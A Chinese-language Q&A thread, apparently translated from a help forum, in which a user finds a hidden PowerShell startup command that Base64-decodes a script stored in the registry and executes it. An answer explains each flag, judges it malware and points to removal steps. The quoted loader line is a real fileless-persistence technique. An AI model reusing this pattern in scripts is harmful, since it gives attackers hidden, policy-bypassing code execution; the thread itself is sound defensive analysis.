几天前,我在任务管理器中注意到有一个 powershell.exe 进程正在运行。当我进入 msconfig 时,它有一个非常长的命令。它如下:
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));
这真的很奇怪,因为就在今天,一个我之前遇到过问题的随机进程出现了(可能与此无关,只是说说而已),这是一个病毒,并试图在我的 PC 上下载一个不安全的驱动程序,正如 Windows 所说。有人能告诉我有关这个 PowerShell 进程的信息吗?它在启动时启动,并且一直在运行。再次,我希望听起来我不是无知的,也许这只是一个正常的启动过程。
答案1
这几乎肯定是恶意的。
让我们来分析一下。它-noprofile
在隐藏窗口 ( -windowstyle hidden
) 中调用 Windows PowerShell(一个合法且非常有用的命令解释器),无需用户自定义 ( ),从而允许 PowerShell 会话运行脚本,而不管系统策略如何 ( -executionpolicy bypass
)。然后它运行以下命令:
iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))
gp
意味着Get-ItemProperty
,它可用于检索注册表项的值,这就是它在这里所做的。显然,SAJELFZIXHQTV
当前用户Software\Classes
密钥中有一个键名为 。该键有一个名为 的值ADUXJH
,其中的数据就是要gp
检索的内容。然后,该数据(显然是一个字符串)是Base64-解码为字节数组(FromBase64String
)。然后将这些字节解释为 ASCII 文本(ASCII.GetString
)。奇怪的是,原始文件中有一个多余的点,这应该会导致错误,因为该ASCII
对象没有名为 的成员Get
。不过,考虑到这个过程仍然存在,我怀疑多余的点只是一个转录错误。
如果没有该错误,则结果文本将作为 PowerShell 命令 ( iex
) 调用。简而言之,此命令旨在从注册表加载编码脚本并执行它。要确切了解它正在运行的内容,请将上面的 PowerShell 命令(减去iex
and 并删除多余的点)复制到 PowerShell 提示符中并运行它。它将打印将要调用的命令。它几乎肯定不是良性的。
您可以使用以下命令阻止该条目自动启动自动运行工具。但是,最好对您的机器进行更深入的清理,因为它可能已被感染。请参阅如何从我的电脑中删除恶意间谍软件、恶意软件、广告软件、病毒、木马或 rootkit?